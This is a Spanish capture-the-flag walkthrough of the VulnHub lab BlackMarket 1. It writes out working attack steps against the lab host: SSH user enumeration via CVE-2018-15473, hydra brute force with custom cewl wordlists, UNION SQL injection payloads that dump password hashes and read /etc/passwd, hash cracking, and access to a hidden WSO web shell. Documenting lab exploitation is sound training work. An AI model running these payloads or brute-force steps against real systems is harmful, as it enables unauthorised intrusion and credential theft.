the_open_door
café
ESEN

BlackMarket 1

VulnHubFácilLinux192.168.1.195

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#vulnhub#ssh-user-enum#cve-2018-15473#cewl#hydra#brute-force#union-sqli#hash-cracking#md5#squirrelmail#steganography#substitution-cipher#credential-reuse#sudo#privesc
TL;DR. Una caja larga y muy "de pistas". El código fuente esconde un base64 (CIA - Operation Treadstone) que apunta a los personajes de Bourne, y con esos nombres una enumeración de usuarios SSH confirma nicky. Un diccionario con cewl + hydra saca su contraseña de FTP; ahí hay una pista hacia /vworkshop, donde una SQLi UNION vuelca hashes MD5 que se crackean (admin:BigBossCIA). Ese login regala la credencial de SquirrelMail, cuyo borrador cifrado se descifra con quipqiup y lleva a una puerta trasera cuya contraseña está oculta en una imagen. La backdoor da revshell, y un .Secret con la contraseña de dimitri (miembro del grupo sudo) remata la máquina.

Reconocimiento

Descubrimiento del host

La máquina es de VulnHub y vive en la red local, así que lo primero no es escanear puertos sino encontrar la IP. Un barrido ARP contra el segmento la saca junto al resto de vecinos, y la única de la lista con MAC de VMware es la nuestra:

sudo arp-scan -I eth0 --localnet --ignoredups --macfile=/usr/share/arp-scan/ieee-oui.txt

arp-scan lista los hosts del segmento; 192.168.1.195 aparece con una MAC de VMware, Inc.

Interface: eth0, type: EN10MB, MAC: 00:0c:29:a0:4d:d4, IPv4: 192.168.1.80
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.1.1     2c:70:4f:14:4e:c7   (Unknown)
192.168.1.136   b0:a4:60:cf:91:26   Intel Corporate
192.168.1.138   f4:03:2a:28:e7:36   Amazon Technologies Inc.
192.168.1.195   00:0c:29:50:a0:77   VMware, Inc.
Ending arp-scan 1.10.0: 256 hosts scanned in 2.741 seconds (93.40 hosts/sec). 10 responded

Objetivo: 192.168.1.195.

ping -c 1 192.168.1.195

ping -c 1 192.168.1.195 con una respuesta icmp_seq=1 ttl=64 time=1.14 ms y 0% packet loss

PING 192.168.1.195 (192.168.1.195) 56(84) bytes of data.
64 bytes from 192.168.1.195: icmp_seq=1 ttl=64 time=1.14 ms

--- 192.168.1.195 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 1.136/1.136/1.136/0.000 ms

TTL 64 → Linux (Windows responde con 128). Indicio, no prueba: cada salto de routing lo decrementa.

Escaneo inicial

El escaneo de puertos completo destapa siete servicios, con toda la pila de correo:

sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 192.168.1.195 -oG scan

nmap -p- contra 192.168.1.195: descubre los puertos 21, 22, 80, 110, 143, 993 y 995 abiertos, con 65528 puertos filtrados

Discovered open port 995/tcp on 192.168.1.195
Discovered open port 993/tcp on 192.168.1.195
Discovered open port 143/tcp on 192.168.1.195
Discovered open port 80/tcp on 192.168.1.195
Discovered open port 21/tcp on 192.168.1.195
Discovered open port 110/tcp on 192.168.1.195
Discovered open port 22/tcp on 192.168.1.195
Completed SYN Stealth Scan at 19:04, 26.35s elapsed (65535 total ports)
Not shown: 65528 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT    STATE SERVICE REASON
21/tcp  open  ftp     syn-ack ttl 64
22/tcp  open  ssh     syn-ack ttl 64
80/tcp  open  http    syn-ack ttl 64
110/tcp open  pop3    syn-ack ttl 64
143/tcp open  imap    syn-ack ttl 64
993/tcp open  imaps   syn-ack ttl 64
995/tcp open  pop3s   syn-ack ttl 64
MAC Address: 00:0C:29:50:A0:77 (VMware)

El fichero -oG scan que deja el escaneo lo resume extractPorts, otra función del ~/.zshrc, que saca la IP y la lista de puertos y los deja en el portapapeles:

extractPorts scan

extractPorts resume el escaneo: IP 192.168.1.195 y puertos abiertos 21,22,80,110,143,993,995

Extracting information ...
IP Address: 192.168.1.195
Open ports: 21,22,80,110,143,993,995

Ports copied to clipboard

IP Address: 192.168.1.195
Open ports: 21,22,80,110,143,993,995

Los 65528 restantes salen como filtered (no-response), no como closed. Aquí eso no significa necesariamente que haya un firewall: nmap avisa él mismo con Some closed ports may be reported as filtered due to --defeat-rst-ratelimit, porque el kernel del objetivo limita el ritmo al que emite RST y a --min-rate 5000 se pierden respuestas. Es un artefacto de la velocidad, no un hallazgo.

nmap -p21,22,80,110,143,993,995 -sCV 192.168.1.195

nmap -sCV sobre los siete puertos: vsftpd 3.0.2, OpenSSH 6.6.1p1, Apache 2.4.7 con el título "BlackMarket Weapon Management System" y Dovecot en los cuatro puertos de correo

PORT    STATE SERVICE  VERSION
21/tcp  open  ftp      vsftpd 3.0.2
22/tcp  open  ssh      OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 a9:98:84:aa:90:7e:f1:e6:be:c0:84:3e:fa:aa:83:8a (DSA)
|   2048 07:5c:77:15:30:5a:17:95:8e:0f:91:f0:2d:0b:c3:7a (RSA)
|   256 2f:9c:29:b5:f5:dc:f4:95:07:6d:41:ee:f9:0d:15:b8 (ECDSA)
|_  256 24:ac:30:c7:79:7f:43:cc:fc:23:df:ea:db:bb:4a:cc (ED25519)
80/tcp  open  http     Apache httpd 2.4.7 ((Ubuntu))
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: BlackMarket Weapon Management System
110/tcp open  pop3     Dovecot pop3d
143/tcp open  imap     Dovecot imapd
993/tcp open  ssl/imap Dovecot imapd
995/tcp open  ssl/pop3 Dovecot pop3d
|_ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
|_ssl-date: TLS randomness does not represent time
MAC Address: 00:0C:29:50:A0:77 (VMware)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Dos datos condicionan toda la caja:

  • OpenSSH 6.6.1p1, de Ubuntu 14.04. Es anterior a la 7.7, que es donde se corrigió CVE-2018-15473: la fuga que permite distinguir usuarios válidos de inválidos. Anotado.
  • Cuatro puertos de Dovecot (POP3, IMAP y sus versiones TLS). Cuatro puertos de correo en una máquina que sirve una web implica que existen buzones locales y, muy probablemente, un webmail. Todavía no se ve dónde, pero la superficie está declarada desde el minuto uno.

whatweb describe la web del 80:

whatweb 192.168.1.195

whatweb contra el 80: Apache 2.4.7, Bootstrap, cookie PHPSESSID, PasswordField y el título "BlackMarket Weapon Management System"

http://192.168.1.195 [200 OK] Apache[2.4.7], Bootstrap, Cookies[PHPSESSID], Country[RESERVED][ZZ],
  HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.7 (Ubuntu)], IP[192.168.1.195], JQuery,
  PasswordField[password], Script, Title[BlackMarket Weapon Management System], X-UA-Compatible[IE=edge]

La extensión Wappalyzer del navegador confirma y amplía lo mismo desde el otro lado, el del cliente:

Wappalyzer sobre el panel BlackMarket Login: Ubuntu, Apache 2.4.7, PHP, Bootstrap 3.3.7, jQuery 3.1.0 y DataTables 1.10.12

Operating systems: Ubuntu
Web servers: Apache HTTP Server 2.4.7
Programming languages: PHP
JavaScript libraries: DataTables 1.10.12, jQuery 3.1.0
UI frameworks: Bootstrap 3.3.7
Font scripts: Font Awesome

Un panel de login (PasswordField) y nada más a la vista. Cuando la web solo ofrece un formulario, el siguiente sitio es el HTML crudo.

La pista en el código fuente

view-source:http://192.168.1.195/

El código fuente de la web termina con un comentario HTML: flag1 seguida de una cadena en base64

    </form>
    ...
    <script>
        $(document).ready(function(){ ... });
    </script><!--
flag1{Q0lBIC0gT3BlcmF0aW9uIFRyZWFkc3RvbmU=} -->
</body>
</html>

Una flag1 metida en un comentario HTML al final del documento, con lo que parece base64 (termina en =, alfabeto alfanumérico). Se selecciona la cadena y se copia desde el propio visor de código fuente:

la cadena en base64 seleccionada dentro del view-source, con el menú contextual y la opción Copy

echo 'Q0lBIC0gT3BlcmF0aW9uIFRyZWFkc3RvbmU=' | base64 -d

el echo de la cadena pasado por base64 -d devuelve CIA - Operation Treadstone

CIA - Operation Treadstone

Operation Treadstone es el programa ficticio de la saga Bourne. Buscándolo se llega a la entrada de la wiki de Bourne, y su sección Personal es literalmente una lista de nombres:

la entrada de Operation Treadstone en bourne.fandom.com, con la sección Personal listando a Richard Webb, Ward Abbott, Alexander Conklin, Albert Hirsch, Neil Daniels, Nicky Parsons y Daniel Zorn

Personal
Richard Webb - Creador y Fundador, destinado en Beirut, Líbano.
Ward Abbott - Jefe de Operaciones.
Alexander Conklin - Director de Campo, destinado en Langley, Virginia.
Albert Hirsch - Director del programa de capacitación de Treadstone.
Neil Daniels - Supervisor de Capacitación.
Nicky Parsons - Coordinadora de logística de campo y gestora de agentes, destinado en París, Francia.
Daniel Zorn - Asistente de Conklin y, posteriormente, de Abbott.

Esa misma URL será después la entrada de cewl. De momento lo que interesa son los nombres de pila: Richard, Ward, Alexander, Albert, Neil, Nicky, Daniel. Eso no es trivia: es una lista de usuarios candidatos obtenida por contexto, que es justo lo que hace falta para el OpenSSH antiguo del escaneo.

Acceso inicial

Enumeración de usuarios SSH

CVE-2018-15473 aprovecha que el OpenSSH vulnerable procesa de forma distinta un paquete de autenticación malformado según si el usuario existe o no: con un usuario inexistente corta la conexión de inmediato, con uno válido sigue el flujo. El exploit público lo automatiza:

searchsploit ssh user enumeration
searchsploit -m linux/remote/45939.py
mv 45939.py ssh_user_enumeration.py
python2.7 ssh_user_enumeration.py 192.168.1.195 <user> 2>/dev/null

El exploit 45939.py probando albert, alexander, neil, nicky, daniel, ward y richard; solo "nicky is a valid username"

[-] albert is an invalid username
[-] alexander is an invalid username
[-] neil is an invalid username
[+] nicky is a valid username
[-] daniel is an invalid username
[-] ward is an invalid username
[-] richard is an invalid username

De los siete nombres de la serie, solo nicky existe en el sistema. Sin la pista del base64 esta enumeración no habría tenido nombres que probar; sin el SSH antiguo, la pista no se habría podido confirmar. Las dos piezas se necesitan.

Lo que rockyou no encontró

Con un usuario válido, lo primero es lo evidente: hydra con rockyou contra el FTP (el SSH se descarta como objetivo del ataque porque un fallo ahí es más ruidoso y más lento).

hydra -l nicky -P /usr/share/wordlists/rockyou.txt ftp://192.168.1.195 -t 50

hydra con rockyou contra el FTP: 14344399 intentos a 843 por minuto, con una estimación de 283:35 horas, abortado con Ctrl+C

[DATA] max 50 tasks per 1 server, overall 50 tasks, 14344399 login tries (l:1/p:14344399), ~286888 tries per task
[DATA] attacking ftp://192.168.1.195:21/
[STATUS] 843.00 tries/min, 843 tries in 00:01h, 14343555 to do in 283:35h, 50 active
[STATUS] 876.67 tries/min, 2630 tries in 00:03h, 14341769 to do in 272:40h, 50 active
^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.

Este intento merece enseñarse aunque falle, porque el número lo explica todo: 14 344 399 contraseñas a ~850 por minuto son 283 horas, casi doce días. El servidor no da más ritmo, así que la fuerza bruta genérica no es viable aquí. Se aborta.

Un diccionario hecho a medida

Si rockyou no vale, el diccionario tiene que salir del propio tema de la máquina. cewl rastrea una página y extrae sus palabras; se le da la entrada de la wiki de Bourne sobre Operation Treadstone:

cewl -w dir.txt https://bourne.fandom.com/wiki/Operation_Treadstone -d 1
wc -l dir.txt

cewl 6.2.1 generando dir.txt desde la wiki de Operation Treadstone; wc -l devuelve 8283 palabras

CeWL 6.2.1 (More Fixes) Robin Wood (robin@digi.ninja) (https://digi.ninja/)
8283 dir.txt

8283 palabras contra 14 millones. Y esta vez sí:

hydra -l nicky -P dir.txt ftp://192.168.1.195 -t 50 -I

hydra con el diccionario de cewl encuentra la credencial en el ftp: host 192.168.1.195, login nicky, password CIA

[DATA] max 50 tasks per 1 server, overall 50 tasks, 8283 login tries (l:1/p:8283), ~166 tries per task
[DATA] attacking ftp://192.168.1.195:21/
[21][ftp] host: 192.168.1.195   login: nicky   password: CIA

nicky:CIA. La contraseña ni siquiera era exótica, pero rockyou la habría encontrado también: el problema era el orden, no el contenido. Un diccionario de 8283 palabras temáticas termina en segundos donde uno de 14 millones tarda días.

Por completitud se repitió el ataque con los siete nombres de la wiki en lugar de solo nicky, para descartar que hubiera más cuentas con contraseña débil:

echo -e "richard\nward\nalexander\nalbert\nneil\nnicky\ndaniel" > users.txt
cat users.txt
hydra -L users.txt -P dir.txt ftp://192.168.1.195 -t 50 -I

users.txt con los siete nombres y hydra atacando el FTP con 57981 combinaciones

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 50 tasks per 1 server, overall 50 tasks, 57981 login tries (l:7/p:8283), ~1160 tries per task
[DATA] attacking ftp://192.168.1.195:21/

Siete veces más intentos y el mismo único resultado: la de nicky es la única credencial válida.

FTP: la primera pista

ftp 192.168.1.195

Sesión FTP como nicky: navega a ftp/ImpFiles, descarga IMP.txt y el cat muestra flag2 y el mensaje sobre el "CIA blackmarket Vehical workshop"

Connected to 192.168.1.195.
220 (vsFTPd 3.0.2)
Name (192.168.1.195:krmena): nicky
331 Please specify the password.
Password:
230 Login successful.
ftp> dir
dr-xr-xr-x    3 65534    65534        4096 Nov 06  2017 ftp
ftp> cd ftp
ftp> dir
drwxr-xr-x    2 1002     1002         4096 Nov 09  2017 ImpFiles
ftp> cd ImpFiles
ftp> dir
-rw-r--r--    1 0        0             216 Nov 12  2017 IMP.txt
ftp> get IMP.txt
226 Transfer complete.
216 bytes received in 00:00 (86.76 KiB/s)
ftp> exit
$ cat IMP.txt
flag2{Q29uZ3JhdHMgUHJvY2VlZCBGdXJ0aGVy}

If anyone reading this message it means you are on the right track however I do not have any idea about the
 CIA blackmarket Vehical workshop. You must find out and hack it!
echo -n "Q29uZ3JhdHMgUHJvY2VlZCBGdXJ0aGVy" | base64 -d
cat IMP.txt

el base64 de la flag2 devuelve Congrats Proceed Further y el cat de IMP.txt muestra el mensaje completo

Congrats Proceed Further

La flag no dice nada útil, pero el texto sí: "CIA blackmarket Vehical workshop", con la falta de ortografía incluida. Eso es un nombre de ruta disfrazado de frase.

Un diccionario de dos palabras

No hace falta fuzzear con un diccionario genérico si el propio objetivo ha dado el nombre. Se escriben las combinaciones plausibles de "vehical" y "workshop" y se prueban:

echo "vehicalworkshop\nvworkshop\nvw\nvehicalshop\nworkshop\nshop" > diccionario.txt
wfuzz -u http://192.168.1.195/FUZZ -w diccionario.txt --hc=404

wfuzz con el diccionario de 6 palabras: de 6 peticiones filtra 5 y devuelve un 301 para "vworkshop"

Target: http://192.168.1.195/FUZZ
Total requests: 6

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000002:   301        9 L      28 W       317 Ch      "vworkshop"

Total time: 0
Processed Requests: 6
Filtered Requests: 5
Requests/sec.: 0

Seis peticiones, un acierto: /vworkshop devuelve un 301 (redirección, es decir, el directorio existe y Apache manda a su barra final). Cinco de las seis combinaciones eran 404 y no habría pasado nada por probar veinte más; lo que importa es que el nombre salió del IMP.txt, no de un diccionario.

Explotación: SQLi UNION

El id de las piezas

/vworkshop es el "BlackMarket Auto WorkShop", una tienda con secciones de vehículos y recambios. La ficha de cada pieza se pide con un sparepartid numérico en la URL, que es el patrón clásico de un parámetro que acaba dentro de una consulta SQL.

la sección Spare Parts de BlackMarket Auto WorkShop con la ficha de la pieza abcd spare y el parámetro sparepartid=1 resaltado en la URL

Spare part name: abcd spare
Spare parts type : Lock
Cost : 333.00
Spare parts serial No. : ZXC1
Description: This is a doorlock

La ficha pinta cinco campos distintos, y ese detalle importa: son las columnas que la inyección podrá usar después como pantalla para sacar datos.

Una SQLi UNION necesita saber cuántas columnas devuelve la consulta original, porque el UNION exige el mismo número a ambos lados. ORDER BY n lo averigua sin ver la consulta: ordena por la columna n, y falla en cuanto n excede el número real de columnas.

/vworkshop/sparepartsstoremore.php?sparepartid=1' ORDER BY 8-- -

La ficha con ORDER BY 8 aparece vacía: sin imagen, sin tipo, sin coste ni número de serie

Spare part name: abcd spare
Spare parts type :
Cost :
Spare parts serial No. :
Description:

Con 8 la ficha se vacía: la consulta ha reventado y la página, que no muestra el error de MySQL, se limita a no pintar nada. Con 7, en cambio:

/vworkshop/sparepartsstoremore.php?sparepartid=1' ORDER BY 7-- -

La misma ficha con ORDER BY 7 se pinta completa: la foto de la cerradura, tipo Lock, coste 333.00, serie ZXC1 y descripción "This is a doorlock"

Spare part name: abcd spare
Spare parts type : Lock
Cost : 333.00
Spare parts serial No. : ZXC1
Description: This is a doorlock

El contraste entre las dos capturas es la prueba doble: la consulta tiene 7 columnas y, de paso, que la comilla se está inyectando (si no, ORDER BY 8 no habría cambiado nada). El campo Spare parts serial No. es el que mejor se ve, así que ahí es donde se coloca la carga.

Enumerar la base de datos

Primero los esquemas, con group_concat para traerlos todos en una sola celda:

/vworkshop/sparepartsstoremore.php?sparepartid=100' UNION SELECT NULL,NULL,NULL,NULL,
   group_concat(schema_name),NULL,NULL FROM information_schema.schemata-- -

La ficha muestra en el campo de número de serie: information_schema,BlackMarket,eworkshop,mysql,performance_schema

Spare parts serial No. :
information_schema,BlackMarket,eworkshop,mysql,performance_schema

El sparepartid=100 no existe a propósito: así la consulta original no devuelve filas y lo único que se pinta es lo del UNION. De los cinco esquemas, tres son de sistema y quedan BlackMarket y eworkshop. El primero es el que da nombre a la máquina.

... group_concat(table_name),NULL,NULL FROM information_schema.tables WHERE table_schema="BlackMarket"-- -

Las tablas de BlackMarket: cart,category,customer,flag,inventory,product,sales,sales_detail,supplier,user

cart,category,customer,flag,inventory,product,sales,sales_detail,supplier,user
... group_concat(column_name),NULL,NULL FROM information_schema.columns
    WHERE table_schema="BlackMarket" AND table_name="user"-- -

Las columnas de la tabla user: userid,username,password,access

userid,username,password,access

Ya se sabe exactamente qué pedir. El 0x3A del group_concat es el carácter : en hexadecimal, que se usa como separador porque una comilla dentro de la carga rompería la inyección:

/vworkshop/sparepartsstoremore.php?sparepartid=100' UNION SELECT NULL,NULL,NULL,NULL,
   group_concat(userid,0x3A,username,0x3A,password),NULL,NULL FROM BlackMarket.user-- -

La SQLi UNION vuelca la tabla user con admin:cf18233438b9e88937ea0176f1311885, user:0d8d5cd..., etc.

admin:cf18233438b9e88937ea0176f1311885
user:0d8d5cd06832b29560745fe4e1b941cf
supplier:99b0e8da24e29e4ccb5d7d76e677c2ac
jbourne:28267a2e06e312aee91324e2fe8ef1fd
bladen:cbb8d2a0335c793532f9ad516987a41c

El volcado llega en una sola línea separada por comas, así que se parte por líneas y se guarda en un fichero para tenerlo a mano:

echo "1:admin:cf18233438b9e88937ea0176f1311885,2:user:0d8d5cd06832b29560745fe4e1b941cf,..." \
  | tr ',' '\n' > ../content/creds.txt
cat ../content/creds.txt

el volcado partido por comas queda en creds.txt con las cinco parejas usuario:hash

1:admin:cf18233438b9e88937ea0176f1311885
2:user:0d8d5cd06832b29560745fe4e1b941cf
4:supplier:99b0e8da24e29e4ccb5d7d76e677c2ac
5:jbourne:28267a2e06e312aee91324e2fe8ef1fd
6:bladen :cbb8d2a0335c793532f9ad516987a41c

Cinco usuarios con lo que parecen MD5 (32 caracteres hexadecimales, sin sal a la vista). Los userid van 1, 2, 4, 5 y 6: falta el 3, señal de que alguna cuenta se borró en algún momento. Uno de ellos, jbourne, es el protagonista de la saga: no es casualidad, y volverá a aparecer.

Lo que la misma SQLi permitía y no hizo falta

Merece la pena dejar constancia de hasta dónde llegaba el agujero. El usuario de MySQL tenía permiso FILE, así que la misma inyección leía ficheros del disco con load_file():

/vworkshop/sparepartsstoremore.php?sparepartid=100' UNION SELECT NULL,NULL,NULL,NULL,
   load_file("/etc/passwd"),NULL,NULL-- -

La misma SQLi con load_file("/etc/passwd") vuelca el fichero completo en el campo de número de serie

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
mysql:x:102:106:MySQL Server,,,:/nonexistent:/bin/false
dovecot:x:106:114:Dovecot mail server,,,:/usr/lib/dovecot:/bin/false
...

La ruta de esta caja no pasa por ahí, pero es la diferencia entre "hay una SQLi" y "hay una SQLi con lectura de ficheros del servidor", que en un informe real cambia la severidad.

Crackeo de los MD5

Son MD5 sin sal, así que no hace falta romperlos: basta con buscarlos en una base de datos de hashes ya resueltos, que es lo que hace hashes.com.

Los cinco hashes pegados en el formulario de hashes.com antes de enviarlos

Resultado de hashes.com: encuentra bladen, user:user, supplier:supplier y cf18233438b9e88937ea0176f1311885:BigBossCIA; jbourne queda sin resolver

Found:
bladen:nV<?>z
0d8d5cd06832b29560745fe4e1b941cf:user
99b0e8da24e29e4ccb5d7d76e677c2ac:supplier
cf18233438b9e88937ea0176f1311885:BigBossCIA

Left:
admin:cf18233438b9e88937ea0176f1311885
user:0d8d5cd06832b29560745fe4e1b941cf
supplier:99b0e8da24e29e4ccb5d7d76e677c2ac
jbourne:28267a2e06e312aee91324e2fe8ef1fd
cbb8d2a0335c793532f9ad516987a41c

Cuatro de cinco caen: user:user y supplier:supplier son inútiles, bladen devuelve una cadena con caracteres no imprimibles, y el bueno es admin:BigBossCIA. jbourne es el único que resiste, lo cual encaja con que sea el personaje principal: su contraseña no está en ninguna tabla pública.

El login que regala la siguiente pista

Con admin:BigBossCIA se entra al panel del principio (/login.php):

El login de BlackMarket con admin y un popup: "Login Success, Welcome BigBOSS! here is your flag4{bm90aGluZyBpcyBoZXJl} Jason Bourne Email access ?????"

Login Success, Welcome BigBOSS! here is your flag4{bm90aGluZyBpcyBoZXJl} Jason Bourne Email access ?????
echo -n "bm90aGluZyBpcyBoZXJl" | base64 -d

el popup con la flag4 y, debajo, el base64 -d de la cadena devolviendo nothing is here

nothing is here

La flag lo dice literalmente: no hay nada. Lo que importa es el resto de la frase, "Jason Bourne Email access ?????". Dos lecturas posibles: o son signos de interrogación de "no sé cuál es", o son la contraseña. Y encaja con lo anterior: jbourne es justo el hash que no se pudo crackear, porque ????? no aparece en ninguna rainbow table. Falta encontrar el webmail donde usarla, que es lo que adelantaban los cuatro puertos de Dovecot.

Pivoting web: SquirrelMail y la puerta trasera

Encontrar el webmail

dirsearch -u http://192.168.1.195 --exclude-status=404,403

dirsearch sobre el 80 con 11460 palabras: encuentra /admin, /css, /db, /dist, /header.php, /login.php, /squirrelmail, /upload y /user

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

[21:25:34] 301 -  313B  - /admin  ->  http://192.168.1.195/admin/
[21:25:34] 302 -    0B  - /admin/  ->  ../index.php
[21:25:35] 302 -    0B  - /admin/index.php  ->  ../index.php
[21:25:47] 301 -  311B  - /css  ->  http://192.168.1.195/css/
[21:25:47] 301 -  310B  - /db  ->  http://192.168.1.195/db/
[21:25:48] 301 -  312B  - /dist  ->  http://192.168.1.195/dist/
[21:25:53] 200 -  457B  - /header.php
[21:25:57] 200 -    0B  - /login.php
[21:26:13] 301 -  320B  - /squirrelmail  ->  http://192.168.1.195/squirrelmail/
[21:26:18] 301 -  314B  - /upload  ->  http://192.168.1.195/upload/
[21:26:18] 301 -  312B  - /user  ->  http://192.168.1.195/user/
Task Completed

Ahí está: /squirrelmail, el webmail que da sentido a los puertos IMAP/POP3. Los /admin que redirigen a ../index.php son la sesión rebotando, no un hallazgo.

La contraseña eran cinco interrogaciones

Login de SquirrelMail 1.4.23 con Name "jbourne" y Password "?????"

Se prueba jbourne con ????? literalmente, los cinco caracteres del mensaje. Y entra:

La bandeja INBOX.Drafts de SquirrelMail con un borrador para putin@kgb.gov.ru con asunto "IMPORTANT MESSAGE" fechado el 16 de noviembre de 2017

Current Folder: INBOX.Drafts
To                     Date            Subject
putin@kgb.gov.ru       Nov 16, 2017    IMPORTANT MESSAGE

El correo interesante no está en la bandeja de entrada sino en borradores, que es donde se guarda lo que nunca llegó a enviarse. Y el destinatario, putin@kgb.gov.ru, ya avisa del tono de la máquina.

El borrador cifrado

El borrador "IMPORTANT MESSAGE" de jbourne a putin@kgb.gov.ru: contiene Flag5 y un bloque de texto cifrado que empieza por "Sr Wrnrgir / Ru blf ziv ivzwrmt gsrh"

Subject: IMPORTANT MESSAGE
From: jbourne@localhost
To: putin@kgb.gov.ru
Date: Thu, November 16, 2017 9:38 pm

Flag5{RXZlcnl0aGluZyBpcyBlbmNyeXB0ZWQ=}

HELLO Friend,

I have intercept the message from Russian's some how we are working on the same
direction, however, I couldn't able to decode the message.

<Message Begins>

Sr Wrnrgir
Ru blf ziv ivzwrmt gsrh R nrtsg yv mlg zorev. R szev kozxv z yzxpwlli rm Yozxpnzipvg
dliphslk fmwvi /ptyyzxpwlli ulowvi blf nfhg szev gl fhv
KzhhKzhh.qkt rm liwvi gl tvg zxxvhh.

</end>
echo -n "RXZlcnl0aGluZyBpcyBlbmNyeXB0ZWQ=" | base64 -d
Everything is encrypted

El texto conserva la estructura de un mensaje en inglés (espacios, longitudes de palabra, una barra / que delata una ruta), así que es una sustitución monoalfabética, no un cifrado moderno. Se pega en quipqiup, que resuelve este tipo de cifrados por frecuencias sin necesidad de conocer la clave:

quipqiup resolviendo el criptograma: la primera solución dice "If you are reading this I might be not alive. I have place a backdoor in Blackmarket workshop under /kgbbackdoor folder you must have to use PassPass.jpg in order to get access."

Hi Dimitri
If you are reading this I might be not alive. I have place a backdoor in Blackmarket
workshop under /kgbbackdoor folder you must have to use PassPass.jpg in order to get access.

La sustitución concreta es Atbash (la primera letra del alfabeto por la última): S→H, r→i, W→D, de ahí que Sr Wrnrgir sea Hi Dimitri. El mensaje entrega tres cosas: el nombre del usuario local (Dimitri, que reaparecerá en la escalada), la ruta /kgbbackdoor y el fichero PassPass.jpg.

La ruta que solo tiene una imagen

http://192.168.1.195/vworkshop/kgbbackdoor/PassPass.jpg

La ruta /vworkshop/kgbbackdoor/PassPass.jpg muestra una imagen con la palabra "Backdoor" sobre un fondo de dígitos binarios

El directorio no lista contenido y la imagen es lo único visible. Si el mensaje decía que hace falta la imagen "para conseguir acceso", tiene que haber algo más ahí donde entrar:

gobuster dir -u http://192.168.1.195/vworkshop/kgbbackdoor \
  -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -x php

gobuster sobre /vworkshop/kgbbackdoor encuentra /backdoor.php con Status 200 tras recorrer 441130 peticiones

[+] Wordlist:     /home/krmena/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Extensions:   php

/.php                 (Status: 403) [Size: 306]
/backdoor.php         (Status: 200) [Size: 301]
Progress: 441128 / 441130 (100.00%)
Finished

De 441 130 peticiones, un solo 200: /backdoor.php. Y al abrirlo, lo que se ve es un 404:

backdoor.php simula un "Not Found" de Apache/2.2.22 (Unix), pero el inspector revela un &lt;input type="password" name="pass"&gt; oculto dentro de un formulario POST

<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.2.22 (Unix) mod_ssl/2.2.22 OpenSSL/1.0.0-fips mod_auth_passthrough/2.1 mod_bwlimited...</address>
<pre align="center">
  <form method="post">
    <input type="password" name="pass">
  </form>
</pre>

El 404 es falso, y hay dos formas de saberlo sin leer el código. Una: gobuster lo reporta como Status: 200, no 404, así que el servidor devuelve "OK" mientras la página dice lo contrario. Dos: la firma al pie dice Apache/2.2.22 (Unix) mod_ssl ... mod_bwlimited, que es la de un cPanel de CentOS y no coincide con el Apache/2.4.7 (Ubuntu) que reportó nmap. Es una página de error copiada y pegada para disimular. Dentro, invisible en la vista normal y localizado con el inspector, un <input type="password" name="pass">.

Esteganografía: la contraseña de la backdoor

PassPass.jpg es lo que el mensaje decía que hacía falta. Antes de sacar herramientas de esteganografía, lo primero es siempre strings: mucho texto se concatena tal cual al final del fichero, más allá de los datos de la imagen.

wget http://192.168.1.195/vworkshop/kgbbackdoor/PassPass.jpg
strings PassPass.jpg | tail

strings PassPass.jpg revela "Pass = 5215565757312090656" al final del fichero de imagen

[qh"3
cm+B
.}21
...
Pass = 5215565757312090656

Entre basura binaria aparece Pass = 5215565757312090656. Pero ese número tal cual no abre nada: son 19 dígitos decimales, demasiado largo para una contraseña escrita a mano y sospechosamente parecido a un número que representa otra cosa. Pasado a hexadecimal:

RapidTables convirtiendo el decimal 5215565757312090656 a hexadecimal: 4861696C4B474220

Decimal:      5215565757312090656
Hexadecimal:  4861696C4B474220

16 dígitos hexadecimales = 8 bytes, y todos caen en el rango imprimible ASCII (0x48, 0x61, 0x69, 0x6C...). Eso ya no es un número, es texto:

RapidTables convirtiendo el hexadecimal 4861696C4B474220 a texto ASCII: HailKGB

Hex:   4861696C4B474220
Text:  HailKGB

HailKGB (el 20 final es el espacio). Con ella, el falso 404 se abre:

El panel WSO 2.6 tras autenticarse: Uname Linux Dimitri 4.4.0-31-generic, User 33 (www-data), PHP 5.5.9, Cwd /var/www/html/vworkshop/kgbbackdoor/ y un gestor de ficheros con backdoor.php, backdoor1.php, flag.txt y PassPass.jpg

Uname: Linux Dimitri 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:07:32 UTC 2016 x86_64
User: 33 ( www-data )  Group: 33 ( www-data )
Php: 5.5.9-1ubuntu4.22  Safe mode: OFF
Cwd: /var/www/html/vworkshop/kgbbackdoor/

[Sec Info] [Files] [Exec] [Sql] [PHP Tools] [LFI] [Php] [Safe mode] [String tools] [XSS Shell]
[Bruteforce] [Network] [Logout] [Self remove]

Name           Size        Modify                Owner/Group   Permissions
backdoor.php   104.19 KB   2017-11-08 22:17:08   root/root     -rw-r--r--
backdoor1.php  561 B       2017-11-07 21:54:51   root/root     -rw-r--r--
flag.txt       21 B        2017-11-12 19:17:27   root/root     -rw-r--r--
